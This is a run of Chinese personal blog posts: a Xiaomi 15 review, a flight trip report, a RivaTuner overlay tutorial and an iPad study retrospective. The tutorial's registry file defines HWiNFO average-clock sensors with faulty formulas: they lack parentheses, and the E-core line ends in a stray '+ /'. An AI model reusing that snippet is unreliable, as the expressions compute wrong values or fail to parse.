模型转录，结果如下：\n实时转录：当然这种机会很少，一八。年不到你去了对这个东西。我们一般都最多是来这个设计的数据库。所谓设计一个数据库就完了，就是你需要把这个。自己股价。就是您的表结了个价那么这个表表结构价我这个东西大概随时带了一个例子…… 后期转录：当然这种机会很少。一八年不到，你去了这个东西。我们一般都最多时间就设计一个数据库。所谓设计一个数据库就完了，就是你需要把这个。自己股价。就是您的表结了的价，那么这个表结的价，我这个东西大概可随时带入一个例子…… Belle模型转录：当然，这种机会很少，你把它引发到你去来建立的东西。我们应该做最多是来设计一个数据库，所谓设计一个数据库做完了。就是你需要把这个数据谱给建好，就是你的表结构的建好。那么这个表结的建好，我这个可随时带了一个例子…… 人工转录：当然这种机会很少，你一般你不需要建这个东西。我们一般一般最多做的事情就是设计一个数据库。所谓设计一个数据库，说白了就是你需要把这个数据库给建好，就是你把表结构给建好。那么这个表的结构建好，我这个东西大可随时带着一个例子…… 嗯都挺图一乐的，哪怕是拉来参评的1.55B规模的大模型也不是很完美，毕竟这玩意要吃好几GB显存呢。但很惊喜的是小米转录可以识别如MySQL的一些特殊读音（即my-sequel）。\n相册的AI功能也得到了一定的扩充，在本地的魔法消除基础上，增加了画质修复、扩图和更强的修复等功能。但这些新功能中也有许多用的是云端模型，而显然在云端跑模型是要花厂商的钱的。在HyperOS 2根本没大规模推送的现在就因“使用人数过多”而限流，之后的体验将会如何也可想而知了。新系统还使用了基于图片内容的图片搜索，包括类似CLIPS的语义识别、人脸识别和OCR文字提取等。所有功能均可在本地完成，即使不开小米云服务也可使用，精度也勉强可以，起码中文语义搜索是强于许多开源CLIPS模型的。\n相比领先的友商，系统的主动建议仍然是落后的；它甚至算AI都有些勉强，但这里还是按照营销词汇来划分。在iOS数年前就支持按照日程位置路程提前提醒的情况下，小米到现在还仅支持手动设置时间；行程助手不出意外也是Hyper OS 1的东西，举例来说，有多段换乘行程的时候也并不能自动识别。\n其他的比如什么AI生成动态壁纸什么的，评价为十分鸡肋，虽然某种程度上也算是一种自定义超级壁纸？而且也需要调用在线模型。\n影像 仍然需要注明的是，小米提供了两种色彩风格选择，徕卡经典和徕卡生动。前者虽然不像初代联名的小米12S一样风格浓郁，拍摄食物效果也不再灾难，但相比后者，仍然具有较高的对比度和较低的饱和度。作为在相机里直接给开关的先驱，这方面还是可以信任的。\n下文中的相机对照组为索尼ZV-E10，镜头腾龙17-70mm F2.8和索尼55-210mm F4.5-6.3。相机样张经过ARW格式后处理。争论手机和相机的效果好坏当然是不公平的，这里放相机的效果只是为了让读者明白，这台手机能做到多少。\n如果真的要从出片的角度来说，小米15仍然是主摄战士，其他焦段主打一个能看就行。在大部分场景下，主摄是能够让人满意的；但在小部分场景中嘛……请看样片。\n主摄样张 1，1/313s，ISO 50 主摄样张 1（相机对照组），17mm，f/5，1/100s，ISO 100 小米还是发挥了它的优良传统，对各种植物的处理欠妥，顶部的树叶糊成一坨，观感极差。地面的细节尚可，只要不太追求数毛，我认为是够用的，毕竟需要细节的时候不会用主摄焦段不是吗。\n主摄样张 2，1/1000s，ISO 50 主摄样张 2（相机对照组），17mm，f/5.6，1/400s，ISO 100 这组样张，手机的曝光有些过度，远处的校舍发白，反而把近处的短处（没错，又是树叶）给展现得淋漓尽致。这两张样片使用的都是徕卡经典风格，或许在这种场景下换成徕卡生动会更讨喜。个人感觉理解用户的意图可能比留开关更加好，但现在来看并不能理解准确。\n超广角依然不支持自动对焦，四舍五入只需要负责广就行了。\n长焦主打一个功能性，即拍到为主，不太能追求画质。特别是光线不太好的条件下，基本相当于没法成片。\n暗光长焦样张，1/17s，ISO 6400 光线充足的情况下，这颗长焦也并不能当作望远镜使用。\n长焦望远样张，13.3 倍（等效 306mm），1/714s，ISO 50 长焦望远样张（相机对照组），210mm，f/6.3，1/500s，ISO 100 这个机型也配备了长焦大模型增强功能。由于端侧大模型参数量限制，在较简单的场景下可能确实能提高锐度和纯净度，但在复杂场景下几乎是必定会出问题。左侧体育馆墙壁上的砖缝已经算是简单场景的代表了，但经过一通瞎算，仍然失去了大部分纹理。再比如远处道路上的车扭曲变形不说，艾滋病红丝带已经变成小红人扣篮了。\n这个长焦的微距，光线略暗一点就比较废，虽然具有10cm的最近对焦距离，但与前几代的专用长焦微距相比完全不可同日而语。这颗JN5长焦在小米15上仍需9cm的最近对焦距离，这导致其并不能离得够近大力出奇迹，就像小米12S一样。所以你网上看到的长焦效果都是光线充足的情况下拍出来的。备注：小米15拍摄的微距样张均经专业模式手动峰值对焦。\n室内长焦微距样张，1/105s，ISO 1250 室内长焦微距对比。左：小米 15（经裁切），1/17s，ISO 5000；右：小米 12S，1/20s，ISO 1673 前摄有了低功耗注视感知特性，所以可以做一些自动AOD和用眼健康检测之类的功能。但是这个功能并不是很好用，因为前置的视角并不大，导致比如手机平放在桌子上，瞟一眼AOD就不会亮；采样间隔也太高，经常要等好久才能检测到。\n视频方面也算是常规升级吧，后置三摄均支持4K 60FPS杜比视界，均支持至少720p原生480FPS慢动作。在后续更新中已经支持了4K 60FPS杜比视界录制过程中切换镜头，个人认为还是比较丝滑的。\n另外，在不为人知的角落，在Adobe Camera Raw 10月更新中，已经添加了对小米15/Pro的支持。\n显示 屏幕素质并没有一些媒体所言那么差，也可能是这两年国产屏人均提升太大了吧。\n可视角度的不足主要体现在亮度的损失上，而偏色显得不是那么严重。这次的自动亮度出乎意料地激进，很亮，这更容易让人感觉更通透，也体现了厂商对于功耗的极度自信（也可能是首发促销伎俩）。发色看起来也更冷，某些媒体说是因为什么CIE 2015白点值不同造成的。\n这代上了一个似曾相识的新功能：全屏AOD。说白了，就是全屏幕都有内容显示，而非传统息屏显示，仅有时间、通知图标等内容点亮，其他全黑。那有人会问了，不是说LCD屏幕不能做AOD的原因，就是全屏点亮很耗电吗？还是先来看看友商是怎么做全屏AOD的吧：微软Windows 10 Mobile的 全屏Glance Screen，似乎只有一部分像素点是亮的，刚好够显示出图案，其余不点亮；而苹果则利用了LTPO的特性，把刷新率降到1Hz，尽量降低息屏时的功耗。这两种路子，都是现有LCD屏幕依然做不来的。\n全屏 AOD 的效果。值得一提的是，壁纸是自己拍的。 目前看来，小米选的路应该主要是后者，息屏时刷新率降到1Hz（其他场景刷新率升降也非常激进），但全屏点亮。再加上默认“智能点亮”模式较低的注视传感灵敏度，实际息屏时平均点亮的像素数可能不升反降了。但不得不提，小米现在的全屏AOD不支持息屏光效和通知图标，可以显示完整通知但画面完全静止，食之无味弃之可惜，新鲜劲儿一过就关了。\n通信 相比于本就令我满意的小米12S，小米15的信号表现确实有较大的提升。\nWiFi信号确实有一定的提升，在同一位置下，大部分时候握手速率都高于小米12S，强度高3dBm左右。\n移动网络频段出乎意料地多，一改小米非顶级旗舰大肆阉割频段的传统。不过我可见的未来又不会去北美 （除非中了什么顶会），所以对我没啥用。但是移动网络的信号确实有不小的提升，在楼内相同的位置下，甚至可以达到8dBm的差距；而在另一座楼地下1层，小米12S挣扎着找信号的时候，小米15已经能跑到下行40 Mbps了。\n电池 老实说我觉得4500mAh其实挺足够的。平常每天也不会看太久手机，或者充电不是很困难，出去逛一晚上也正好够用，如果出门更久的话，4500也好，5500也罢，没有什么本质的区别。然而小米15把电池加到了5400mAh，迈上了20Wh的大台阶，一个三年前没人敢想的数字。\n续航像是借鉴了苹果的做法，堆大电池不是因为要加续航了，而是因为要加性能释放了，起码首发系统的功耗就不见得比12S更低，估测使用时间虽有提升，但与电池容量提升幅度并不成正比。夜间耗电问题基本没什么改观，一晚上仍要用掉7% 左右。更新：升级到2.0.16.0之后，耗电有一定的改善，功耗下得去了。\n与传闻不完全相同的是，它这样的新机型所搭载的50W无线充，并不会遇到老充电器就只能以30W充电，起码使用80W风帆无线充的时候，屏幕上显示的是50W。功率还是非常保守，发热解决不了，温度上限差不多在41度，充电功率大概在15到20瓦，策略很简单，除非刚充上，没过热就20W，过热就15W。\n有线充电基本是钟文泽型够用。联想C135充电器（100W PD/PPS）最高功率仅为25W但还算能坚挺，也就勉强能维持1分钟充2% 的速度。室温25度下，使用自带90W充电器（MDY-14-EC，用料不是很结实的样子）和充电线，开启快充加速模式，前一两分钟能维持在60W上下1，充满50分钟出头；若不开启快充加速功能，充满时间并没有太大差距，只不过低电量下快速补能更有效率些。也可参考 一些博主的测评。\n有线充电速度示意 或许会有人说，我就喜欢室温15度，上面这个结果不合适，那么下面是室温15度下的充电速度。左侧是小米15，13% 到99%；右侧是两年半用了近2000个循环的小米12S，1% 到完全充满，仅供参考。两者都使用小米15自带的90W充电套装，小米15开启快充加速。新机这个表现起码是令我不满意的。\n15 度下有线充电速度对比 其他外围配置 作为一个标准版来说，外围配置是完全合格的；而作为一个4500元起售的机型，又是理所应当。\n虽然和许多小尺寸机型一样配备了小尺寸0809马达，但振感更加清脆有力。然而小米自作孽把自然震感砍得七零八落，解锁哒一下，按下快捷开关哒一下，长按桌面图标和交换位置是一样的哒一下，侧滑返回不管长按还是短按都是哒一下，清后台哒哒哒三下，原来丰富多彩的触感效果，现在只剩下系统设置里的一个demo，就连那个区分度也不及小米12S，合着自然触感连全尸都没有。很难说是不是与吵着不要嗡嗡嗡的神秘群体有关。\n随着超声波指纹而来的，是识别区终于回到了该在的位置。与小米5S的残废超声波指纹形成鲜明对比，这次的超声波屏下指纹解锁明显更快、识别率也高，的确是碰一下就解锁；但系统缺少提示，也没有了光学指纹的白光，导致很难准确按到传感器上。不过终归还是个适应的问题，自适应一下就行了。\nNFC稳定发挥，线圈的位置也阳间。还添加了一个令人兴奋的新功能：防止靠近手机误触发选卡界面。这似乎意味着理论上是可以做根据刷卡机选卡的，至于为什么没做就不知道了。\n本来还担心麦克风移到背面会不会影响正面朝上的录音效果，后来发现没有，因为这次破天荒给了四个麦克风——底部两个，背面一个，前面还有一个和听筒放在一起。有点好奇最后一个如何做降噪。\n扬声器能响，非常干瘪，还不对称。响度没问题，音量大时下部机身略有震手。\n有气压计，有红外。\n结语 常有人提起性价比桎梏，我觉得小米终归还是很难逃离的，存储和SoC一轮涨价之后价格也终于绷不住了，价格波动受影响还是不小。但对标iPhone终于不完全是说说而已，抛开不自量力对标iPhone Pro的操作，小米近些年对数字系列的下的功夫也慢慢有了回报，在4000档位也算有了立足之地。今年高通不翻车，已足够使其守成；而系统的优化，也算是亡羊补牢。至于市场的会给出怎样的答案，我相信是乐观的。\n体验已经脱离了简单的参数堆砌，面对友商横比也不再是个个参数碾压，但这也代表失去了许多大家所熟知的的量化标准。如果旧有的量化标准不能适应，是该探索新的标准，还是直接放弃量化，学苹果每款都是史上最强呢？\n软件测量，仅供参考。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"November 9, 2024","matchCount":0,"permalink":"/post/xiaomi-15/","preview":"","title":"小米 15：「锐利」当道的「圆滑」异类"},{"content":" 时间为2024年5月7日。思来想去这段旅程好像也挺特殊的，遂记下来。\n由于各种因素的影响与竞争，国内的宽体机航线长期集中于几个超大城市之间，这意味着要在长沙体验到宽体机，无异于天方夜谭。然而有一班CZ6043，从广州出发经停长沙到达肯尼亚首都内罗毕，通常使用波音787执飞。前半程开放购票，我也得以趁着去广州玩，有机会一瞥梦想之翼涂装787的风采。\n不过这787终究还是没坐上，偏偏在这一天执飞机型换成了A350-900。这次属于是意外之喜，毕竟A380退役之后，A350很快就是内地航司的旗舰机型了1。票价670块钱，差不多是复速后京广大标杆的两倍价格，性价比当然是没有一点的，但毕竟咱们的目的是体验飞机不是吗。\n18:32 广州地铁3号线，广州的机场快线，也是纵贯广州城的干线。正值晚高峰，虽然羊角把小编组高密度发挥到了极致，但并不妨碍我等了20分钟才被挤上车。\n广州 3 号线的离谱间隔 19:26 五一假期过去，广州最大蟑螂的屁股白云T2也空荡了起来，值机安检还是蛮有效率的。\n白云 T2 宽敞的航站楼 很不巧的是这么个宽体机竟然被扔到了远机位。座位非常充裕，黑哥也自然不少，看起来候机的人能不能装得下一架737都成问题。但大部分人拿的都是护照而不是身份证，看来我这种没事找事（误）不太多啊。之后不会换成A321XLR了吧\n偶然看到了隔壁登机口电子标识牌竟然是Ubuntu，再一看log竟然是内存不足崩掉了。唉Java，很难理解一个标识牌竟然能用掉2G RAM……等等，这GNOME，上百个登机口的标识牌不会都是人工启动的吧。\n崩溃的电子标识牌 约20:20 坐上了摆渡车，但与想象的不同，摆渡车非但没有将乘客很快送到某个蟑螂旁边的机位，反而径直开向了……北端的货场。\n某国航货运 777F 20:38 在检票将近20分钟，开过头又倒回来后，终于到达了机场最北端的远远远机位，准备登机。停在这里的，就是墨镜侠A350-900，编号B-32ED，届时机龄仅0.9年。远机位倒也是个好事，毕竟廊桥上哪有这么好的视野。\n近距离感受一下Trent XWB的震撼。\nTrent XWB 引擎 不知道为啥，近年来的新飞机基本都换成薄座椅了。但相比可怜巴巴主飞国内的A320/B737来说，不管是座椅间距还是宽度，都高了不止一个档次，正儿八经的洲际级别。头枕高度可调，不同身高基本都能适应。娱乐设备更是每个座都标配，而不是弹又弹不出收又收不回的小电视。\n客舱 果然不出所料，整个飞机不能说是满满当当吧，至少也是有些空旷。经济舱3-3-3的座位安排基本只有左右两边有人坐，拿A359也确实有些大材小用了；空乘配备反而不会相应减少，甚至为这架大飞机做准备还挺忙的。A350标志性的彩虹客舱灯此时并没有亮起，或许机组也觉得有些炫酷价值大于实用价值了。（阳光彩虹小白马）\n俗话说，不玩PTV的飞友不是好数码玩家。我认为的核心功能（地图、电影和外置摄像头）都有，但电影资源并不是很充足的样子。屏幕是塑料覆盖，防眩光做得也不太好，但毕竟是在飞机上，所以只能李姐万岁了。\n虽然是0.9年的新飞机，但娱乐系统似乎并不流畅，加载地图很慢，滑动起来比高德地图还卡。\n地图滑动流畅度 （以上动图已知亮度有问题，与HDR转SDR有关。后续有时间可能会换源）\n相比于数年前坐过仅提供一个机头视角的国泰B777来说，这架A359提供了机尾、机腹和机头三个视角。机尾视角来自于尾翼，基本相当于整个飞机的上帝视角，起降的时候看着这个视角非常舒适，但谁也没想到这颗摄像头会记录那么多的骚操作。看后面的图吧。\n小桌板，折叠的设计。大小靠谱，收起状态下还有一个可以拉开的杯座，我觉得应该普及一下。\n小桌板 21:31 菜航为了让乘客深度体验A359真是煞费苦心，留了近1个小时的“体验时间”（划去），终于从01/19跑道起飞了。跟大蟑螂说个再见吧。\n广州白云“大蟑螂” A359的噪音水平确实低得出色，但是对于带了降噪耳机的我，好像没什么影响。机上广播响起，提醒乘客空中没有客舱服务，有事自己按铃2。飞行时间确实很短，在空中一小时整，平飞的时间也就刚刚20分钟。\n21:56 机组终于记起来了他们忘掉的彩虹灯。确实很炫啊，虽然效果有点杀马特。\n超炫的彩虹灯！ 22:32 在长沙黄花机场落地了，但后来才知道「超值」的旅途才刚刚开始。飞机很快被牵引到了212号停机位3，靠航站楼。想来长沙也没有那么多宽体机要接。\n22:43 等了十几分钟，下飞机的队伍都没有动的迹象，此时机上广播提示下飞机还早，可以先在飞机上再坐一会。还好到处都是空座，随便找了个坐下，开始摆弄PTV，调到了机尾视角，开始欣赏廊桥接到飞机上的过程。\n22:58 终于等来了廊桥，但只接上了公务舱。过了十分钟，高贵的公务舱看来都下飞机了，廊桥缩了回去，再也没接上来。\n23:08 右舷来了个云梯车，上来几个人不知道在聊什么。此时PTV地图已经切换成去内罗毕的下一程了。\n23:16 实在憋得受不了了，做个厕评。与许多窄体机在机尾的厕所相比当然是宽敞了不少，也算是比较干净。\n厕所图，点击展开 厕所 23:20 云梯车没走，廊桥倒是来了——这次只有经济舱的廊桥。随着最后一个阻碍被清除，终于可以下飞机了。空乘道歉态度很好，但毕竟也不是他们造成的，还是有些郁闷。好消息是国内旅客不用过海关，毕竟也没出境。\n接廊桥（已加速） 一个小时的空中时间，硬是把乘客“挽留”在飞机上三个小时，此之谓真正的「超值」所在。虽然这次像是临时换机，但黄花也不是没接过A359，不知道为什么这次如此手忙脚乱。\n无论如何，还得谢谢南航呢，B787已经是目前黄花机场接到的最大客机之一，再略一施展换机大法，确实是长沙不出境就能体验到旗舰机型的少有选择了。\n国航的几架B747-400过于老旧，而且可能9月就要退役了。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n后来才发现这个“铃”是PTV上的一个按钮。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n因为黄花T2国内区只有它配备了带两个分叉的廊桥。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"August 8, 2024","matchCount":0,"permalink":"/post/cz6043/","preview":"","title":"「超值」的宽体机体验：南航 CZ6043 A359"},{"content":"RivaTuner Statistics Server（下称RTSS）能够根据用户设定的悬浮窗样式，在特定应用/游戏中显示实时性能数据。它并不像游戏加加等程序一样是个开箱即用的工具，因此仍然需要进行一些摸索。\n初始设置 安装环节在此略过，本文需要RTSS和HWiNFO64。\n打开RTSS后，如果出现\u0026quot;xxx cannot be hooked right now\u0026quot;，可以暂时忽视。打开主界面后，需要先把 \u0026ldquo;Show OSD\u0026rdquo; 和 \u0026ldquo;OSD support\u0026rdquo; 两个开关打开。\nRTSS 主界面 导入现有悬浮窗样式 现在打开游戏并不会显示任何悬浮窗，因为并没有自定义样式。为了方便，可以先从网上下一个，比如 这个，或是其他的ovx文件。\n在RTSS主界面点击 Setup，找到 Plugins，将 OverlayEditor 的勾勾上，然后双击它，就进入了编辑悬浮窗样式的界面。\n点击左上角的 Layouts，点击 Import，选择刚刚下载的ovx，你下载的样式就被导入进来了。然后保存即可。\n悬浮窗编辑器 悬浮窗编辑器上已经显示了样式预览，你也可以打开游戏试一试。当前买家秀和卖家秀基本差不多，但似乎部分数据是空的，比如CPU温度、频率和功耗等。可能因硬件而异，仅供参考。\n添加并替换HWiNFO64数据源 上述的数据源均是来自于RTSS自己的测量，因此对新硬件的支持可能较差。可以从HWiNFO64中获取硬件数据，更准确，数据也更多。\n先打开HWiNFO64，在启动画面上可勾选 “仅传感器”（Sensors Only），然后点击设置，勾选 “共享内存支持”（Shared Memory Support） 1，以允许RTSS读取数据。然后，启动HWiNFO64。\n回到上图中的悬浮窗编辑器，点击 Data sources，点击 Edit，即可进入数据源列表窗口。它们名称前的图标代指的是来源应用程序，如小飞机就是Afterburner，因为我没开（也不必开）所以全部显示N/A。\n在数据源列表下方点击 Add，添加新的数据源。Data provider选择HWiNFO64，然后选择上面缺失的CPU温度（CPU Package）和功耗（CPU Package Power）点击OK，这样就导入了两个缺失的数据源。\n找到上面显示N/A的缺失数据源中对应CPU温度和功耗的名称（CPU power和CPU temperature），分别双击上面添加的CPU Package和CPU Package Power打开编辑窗口，在 Overlay data source properties 里改为上面对应的名字，这样RTSS就会认为是不同的数据源提供的同一个数据。\n点击OK，CPU温度和功耗应该都正常显示了。但还有一个CPU频率上文故意没有添加，可能是因为该CPU中有两种不同规模的核心，所以一起统计频率是不合适的。\n添加数据源 使用HWiNFO64自定义传感器设计数据源 本章的目标是自定义一个数据源，从而在HWiNFO64和RTSS中分别显示P核和E核的平均频率。RTSS本身并不支持通过运算得到新的数据源，所以需要在HWiNFO64中定义。当然也可以通过简单的算术运算，得到其他的结果。在此之前建议将HWiNFO64的语言设为英语2。\n自定义传感器需要编辑注册表，虽然我也不知道为什么非要这么做。以如下文件为例，该文件新建了一个叫做CoreUltraExtended的传感器，有Avg P-core Clock和Avg E-core Clock两个频率传感器指标，分别将平均P-core频率和平均E-core频率求和然后求平均。\n如果你也使用酷睿Ultra 7 155H，可以将下面内容另存为 .reg 格式，直接导入；其他操作可以参考 教程，对照下列步骤操作，还是看不懂的话可以让GPT解释。\nreg 复制代码 Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended] [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended\\Clock0] \u0026#34;Name\u0026#34;=\u0026#34;Avg P-core Clock\u0026#34; \u0026#34;Value\u0026#34;=\u0026#34;\\\u0026#34;P-core 8 Clock\\\u0026#34; \u0026#43; \\\u0026#34;P-core 9 Clock\\\u0026#34; \u0026#43; \\\u0026#34;P-core 10 Clock\\\u0026#34; \u0026#43; \\\u0026#34;P-core 11 Clock\\\u0026#34; \u0026#43; \\\u0026#34;P-core 12 Clock\\\u0026#34; \u0026#43; \\\u0026#34;P-core 13 Clock\\\u0026#34; / 6\u0026#34; [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended\\Clock1] \u0026#34;Name\u0026#34;=\u0026#34;Avg E-core Clock\u0026#34; \u0026#34;Value\u0026#34;=\u0026#34;\\\u0026#34;E-core 0 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 1 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 2 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 3 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 4 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 5 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 6 Clock\\\u0026#34; \u0026#43; \\\u0026#34;E-core 7 Clock\\\u0026#34; \u0026#43; / 8\u0026#34; 1 2 3 4 5 6 7 8 9 10 11 Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended] [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended\\Clock0] \u0026#34;Name\u0026#34;=\u0026#34;Avg P-core Clock\u0026#34; \u0026#34;Value\u0026#34;=\u0026#34;\\\u0026#34;P-core 8 Clock\\\u0026#34; + \\\u0026#34;P-core 9 Clock\\\u0026#34; + \\\u0026#34;P-core 10 Clock\\\u0026#34; + \\\u0026#34;P-core 11 Clock\\\u0026#34; + \\\u0026#34;P-core 12 Clock\\\u0026#34; + \\\u0026#34;P-core 13 Clock\\\u0026#34; / 6\u0026#34; [HKEY_CURRENT_USER\\Software\\HWiNFO64\\Sensors\\Custom\\CoreUltraExtended\\Clock1] \u0026#34;Name\u0026#34;=\u0026#34;Avg E-core Clock\u0026#34; \u0026#34;Value\u0026#34;=\u0026#34;\\\u0026#34;E-core 0 Clock\\\u0026#34; + \\\u0026#34;E-core 1 Clock\\\u0026#34; + \\\u0026#34;E-core 2 Clock\\\u0026#34; + \\\u0026#34;E-core 3 Clock\\\u0026#34; + \\\u0026#34;E-core 4 Clock\\\u0026#34; + \\\u0026#34;E-core 5 Clock\\\u0026#34; + \\\u0026#34;E-core 6 Clock\\\u0026#34; + \\\u0026#34;E-core 7 Clock\\\u0026#34; + / 8\u0026#34; 编辑完成后，注册表大概是这个样子。\n注册表预览 现在打开HWiNFO64传感器界面，应该有了新的选项；进入刚刚的添加数据源处，应该也可以看到了。把上述新增的数据源添加进来，不用改名。\n悬浮窗里每个数据，对应的都是一个层（layer）双击悬浮窗编辑器里那个空的CPU频率显示（MHz），进入层属性界面。\n层属性界面 Hypertext 一栏中为该层的格式化文本，其中两个百分号包裹着的是数据源的名称，换行使用 \\n 转义。通过改为上图的文本，可以实现两种核心频率的分别显示。\n该选项标注的12小时限制并非12小时后必须重新开启一次，事实上重新打开HWiNFO64时会自动重启计时。但是如果HWiNFO64一直开着，那么RTSS会在12小时后自动断开连接。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n这是一个可能的bug，调整语言后可能无法获取值： https://www.hwinfo.com/forum/threads/custom-user-sensors-in-hwinfo.5817/post-46045\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"July 22, 2024","matchCount":0,"permalink":"/post/rtss-overlay/","preview":"","title":"RivaTuner Statistics Server 游戏悬浮窗入门"},{"content":"iPad 7，不像mini、Air和Pro，连个系列名也没有，也昭示了它位于最丐iPad的系列命运。在2019年发布的它并未惯例升级A11处理器，造成性能多落后了一年，但也仍然不输小米平板4 Plus；内存升级到了3GB，闪存却仍然空过了64GB档，这为之后的别扭埋下了伏笔。幸运中带点不幸的是，我进入大学前获得的，正是32GB闪存的丐中丐，当然还有经典的插菊花Apple Pencil。\n生产力，是想买平板的人常用于说服自己的理由，而对于一个砖头游戏本用户来说，确实需要平板在宿舍外生产些什么东西。四年以来，在各路网友的呼声下，平板的生产力功能也频繁推陈出新，但毕竟苹果日常佛系，变着法地利用平板仍然需要一些小巧思，从有限的性能里一点一点抠玩法。\n手写笔记：写字难看者与狗不得入内 由于有大量的公式，一些工科基础课（高数、线代、大物等）使用纯文本的方式记笔记并不是很方便，由此要在平板上记此类笔记，不免出现了两种方向：一种是用软件把公式渲染出来，另一种则是把公式直接写出来。刚上大一的我自然是不懂LaTeX的，所以自然是怀着别人能我也能的想法，选择了手写笔记。\n在平板上写写画画，确实是非常好的体验，不仅不用记公式符号，也能更方便地添加一些图示；在电子版课本上来回索引跳转，无损勾画，也是纸质方案难以望其项背的方面。更棒的是，拿起笔就继承了高中刷题的写字速度，理论上效率确实比用得不多的键盘强。这些各位只需走进店里试一下就能体会到。\n然而，或许有不少人对平板的书写环境并没有一个足够高的预期，也包括我在内。作为一个高中时代写字就不太好看的人，挪到了平板上，因为缺少了纸张阻尼感，更是难以适应在屏幕上划拉。再加上各种因素的影响，记出来的笔记自然也是一个惨不忍睹龙飞凤舞。\n惨不忍睹的线代笔记 当然根据每个人学习方法的不同，记笔记的方式自然也会不一样。但对于我能跟上老师速度的方式，已经无法保证笔记质量了，复习的时候大半精力都花在理解笔记上面了，只能抱宋浩的大腿。所以说笔记这东西最终还是得落实到看上，不想复习的笔记从记下来那一刻起就没用了。至于那些当堂用 LaTeX 记笔记的大神，落手就是各种snippet，抬手就打出一篇排版整洁的笔记，我当然只有羡慕的份儿。坦白地说，一直到毕业我也没这能力。\n在线VS Code：算力与延迟的双重桎梏 作为一个计算机类的大学生，敲代码自然是十分重要的一环。就像视频编解码能offload到显卡上，TCP协议栈处理能offload到网卡上，外出编写代码能不能offload到平板上呢？\n答案是能也不能：VS Code（code-server）的前端可以跑在浏览器上，而服务端则需要一台Linux主机。由于当时技术与知识所限，并不懂NAT穿越之类的技术，所以不得不租了一台远在美西的1C1G服务器。再搭配上一块K380键盘，功能上倒是跟电脑上的VS Code没有太大差距，但很容易猜到，如此远如此弱的服务端，带来的只能是等几秒才蹦出来的代码补全，代码稍一多也会卡。\ncode-server 的截图 半屏写代码，半屏查Stack Overflow，应该也是很常用的场景吧。然而开两个浏览器进行分屏的情况下，平板已经出现了明显的卡顿，杀后台也变得严重了起来，再开一个QQ用来水群更是几乎不可能的事情。再加上之前提到的服务端问题，于是这个办法也基本宣告放弃了。\n至于iSH的方案我也考虑过，在iPad上运行接近完整的Alpine环境很有吸引力，但无奈平板性能有限，实在是不堪重负。\n远程桌面：我电脑怎么关了？ 有了NAT穿越的工具（如Tailscale）后，能够以极高的成功率在不同NAT后的设备之间进行直连，端到端延迟仅有40ms级别，我便得以借用其自带的远程桌面协议，在iPad上利用对我而言生产力远胜于iPadOS的系统——Windows。\n正好手上来了一些VS Code搞不定的重活儿，于是我曾在极度愤怒的情况下，上着选修课，用平板和远程Android Studio大战1小时40分钟（雾）。既能拥有完整的Windows桌面，延迟又可以接受，性能也不再成为掣肘（平板当好一个视频播放器就行了），帮大忙了。事实上我那砖头游戏本在这之后基本成为了台式机，买了个架子竖放在桌子上，屏幕键盘鼠标全都外接。\n这么好的方案那肯定有它的缺点对吧，那就是宿主机睡眠就连不上了。直到现在我还是不清楚Wake on WLAN怎么玩，所以只好提前估计需要唤醒的时间，然后在这之前保持唤醒；或者直接使用人力唤醒法，麻烦舍友摇一摇鼠标（雾）。3:2比例的10寸屏，在分屏时能显示的内容也过于少了。至于预想到最薄弱的环节，NAT打洞，成功率还真很令人满意，绕香港的场景还是比较少。\n远程桌面，俨然一台小电脑 类Markdown笔记：首先手要快，然后忘了 手写彻底失败了，但笔记还是要记的。类Notion的笔记有很多，它们使用类似Markdown的语法，算是兼顾了排版速度和美观吧。作为一个思源笔记的用户，虽然它有完善的iPadOS端，我甚至买了它的同步服务，但我仍然只敢用Docker部署的网页端，只因32GB闪存实在是不舍得塞下数百MB的笔记数据了。\n要是让我再记一次高数线代，大二大三的我大概还是跟不上；但对于计系和编译原理等专业课，则基本能够跟上敲笔记了。版式敲下来就是对的，整理的环节也更加简单，复习也就更有欲望看了。\n编译原理笔记节选 随航：警惕平板便携屏化 又过了一段时间，机缘巧合用了好一段时间13寸的MacBook，便携性很强，对平板的需求并不是很大了。远程桌面偶尔还在用，但大部分事情都已经可以让macOS完成了。PC系统确实不一样，就我个人而言“生产力”起码比iPad高一个数量级。\n那偶尔也有13寸屏不够用的时候，就可以用起来随航功能，直接把平板变为一个无线外接便携屏。延迟不高，耗电可以接受，其余真没什么好说的，毕竟完全不是在平板上干活了。 或许可以叫做屏堕\n结语 不是说开发平板的生产力吗，怎么依赖平板的越来越少了？先别急着骂我天天用平板NTR，咱得讲究一个论迹不论心对吧。虽然有越来越多的东西不再依赖于Pencil等苹果产品，甚至只需要一个浏览器就能跑起来，但这台平板最宝贵的仍然是它的形态。在四年的本科生涯中，它与我的游戏本起到了很好的互补作用。即使后来有了轻薄本，我也仍然喜欢那个拎起个挎包就能装着走的平板，感觉确实不一样。\n如果有了更好的硬件，这台平板就能为我做更多事情了吗？我觉得也不太能。平板仍然最多是轻度生产力工具，苹果使出浑身解数也暂时没有动摇先前的发展道路，即使算上UTM虚拟机，也仅仅是一个力大砖飞的方案。\n你问我平板现在用来干什么？带走看视频，偶尔填个电子版文件，没了。\n","date":"July 17, 2024","matchCount":0,"permalink":"/post/ipad-7/","preview":"","title":"iPad 7 面向生产力的大学四年摸索"},{"content":"相信许多接触过一些赛车游戏的玩家，都觉得《飙酷车神：轰鸣盛典》（以下简称TCMF）的玩法有点眼熟，怎么，育碧也在办嘉年华？\n全程联网，联了个寂寞 